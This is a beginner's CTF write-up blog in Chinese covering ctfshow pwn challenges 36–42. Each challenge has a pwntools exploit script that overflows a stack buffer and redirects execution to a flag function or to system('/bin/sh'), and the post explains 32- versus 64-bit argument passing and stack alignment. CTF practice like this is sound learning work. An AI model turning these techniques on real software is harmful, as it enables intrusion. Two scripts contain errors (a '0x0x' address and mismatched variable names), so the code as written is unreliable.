pwn入门之ret2text

今天开始打算写一点博客方便日后复习,佬们看到自行跳过,欢迎萌新交流

例题来自于ctfshow系列

36

审计ida:这里是先打印图形,然后有一个ctfshow函数,跟进查看发现

这里有一个get_flag的函数,跟进查看,至此ida中对我们有用的信息基本就全部呈现出来

重点来了:存在gets函数,先让我们了解一下gets函数,它可以无限读入数据,造成栈溢出。观察到s变量距离ebp有0x28的距离,对于这个题来说栈结构为先读入s变量然后下面是ebp然后才是返回地址,那么我们就有思路了,往s变量里面填充垃圾数据直到返回地址把返回地址改为我们需要的flag的位置

exp如下

from pwn import*
io=remote('pwn.challenge.ctf.show',28174)
flag=0x8048586
payload=b'a'*(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

 逐行解读一些第一行:导入一个pwn的模块(基本格式)

第二行:远程连接靶机(后续会有题目会用到本地......也是基本格式)

第四行:这是我们人为构造的代码数据,根据思路填充垃圾数据0x28个,因为这是32位elf文件所以需要再加上4,p32(flag)即为我们的返回地址。

第五行:发送payload.

第六行:开启交互。

37       首先查看main函数

跟进ctfshow函数,发现溢出点read函数,buf变量距离ebp有0x12距离。

在ida侧栏中发现system函数

exp:

from pwn import*
io=remote('pwn.challenge.ctf.show',28175)
sys=0x8048521
payload=b'a'*(0x12+4)+p32(sys)
io.sendline(payload)
io.interactive()

38

ida分析:和上一题一样(个鸡毛)只不过距离rbp距离变了,还涉及到了堆栈平衡,先上exp吧

from pwn import*
io=remote('pwn.challenge.ctf.show',28103)
rdi=0x4007e3
system=0x400657
payload=b'a'*(0xA+8)+p64(rdi+1)+p64(system)
io.sendline(payload)
io.interactive()

什么是堆栈平衡呢我直接上图

可以看到在gdb调试中有一个movaps的汇编指令操作进行不下去,可以看到rsp的地址末尾是8不是16的倍数。简单来说需要再p64一个ret才能让system函数执行。(也可以用rdi+1)

使用Ropgadget指令

ROPgadget --binary  文件  --only 'pop|ret'

查询ret地址,同理rdi也能查询。(这道理背后内容很多,可以和我细🔒)

39

main:main里面有题目描述,跟进ctfshow函数发现read函数,存在溢出点

shift+F12查看字符串发现有binsh和system但没有在一起,需要我们构造链子

先上exp

from pwn import*
io=remote('pwn.challenge.ctf.show',28245)
Sys=0x80483a0
Bin=0x8048750
payload=b'a'*(0x12+4)+p32(Sys)+p32(0)+p32(Bin)
io.sendline(payload)
io.interactive()

在32位elf文件中都是在栈上传递参数,所以先溢出然后调用system函数这里p32(0)是作为sys函数的返回地址,然后后面再加上bin/sh,就构成一个完整的链子。

40

ida分析和上题一样,只不过文件是64位elf.又有堆栈平衡的原理

先上exp

from pwn import*
io=remote('pwn.challenge.ctf.show',28103)
rdi=0x4007e3
bin=0x0x400808
sys=0x400520
payload=b'a'*(0xA+8)+p64(rdi+1)+p64(rdi)+p64(bin)+p64(sys)
io.sendline(payload)
io.interactive()

与32位不同 ,64位文件是靠寄存器传递参数的,这里我们用这个命令查询rdi寄存器的地址

ROPgadget --binary  文件  --only 'pop|ret'

 解释payload:首先是溢出然后是堆栈平衡的原因需要加上一个p64(rdi+1)这个和ret作用一样然后p64(rdi)时调用rdi这个寄存器把bin/sh这个塞到寄存器里面,然后调用system函数形成完整的链子。

41题和39题一样:exp

from pwn import*
io=remote('pwn.challenge.ctf.show',28206)
Sys=0x80483d0
Sh=0x80487BA
payload=b'a'*(0x12+4)+p32(sys)+p32(0)+p32(sh)
io.sendline(payload)
io.interactive()

42题和40一样:exp:

from pwn import*
io=remote('pwn.challenge.ctf.show',28251)
rdi=0x400843
sys=0x400560
bin=0x400872
payload=b'a'*(0xA+8)+p64(rdi+1)+p64(rdi)+p64(bin)+p64(sys)
io.sendline(payload)
io.interactive()

 总结:所需要新手了解以下原理:栈结构,堆栈平衡原理,寄存器的传参方式。

补充:1:

read函数的构成有三个参数read(fd,buf,count)

 fd:文件描述符,用来指向要操作的文件的文件结构体

 buf:一块内存空间

 count:希望读取的字节数

简单来说就是read(0,buf,0x32)

0不用管buf是我们输入数据的地方,0x32是能写入的字节数。

 2:这里建议在遇到函数时了解一下原理,建议初期多做题,通过题目去了解知识。

3:自我总结,本人目前也是学pwn的一个小菜鸡。本篇文章还是在佬的帮助下解释完成的,以后学的知识足够多了,会对文章具体解释。(文章很多地方不是不解释而是现在知识少,解释不了)

  • 34
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值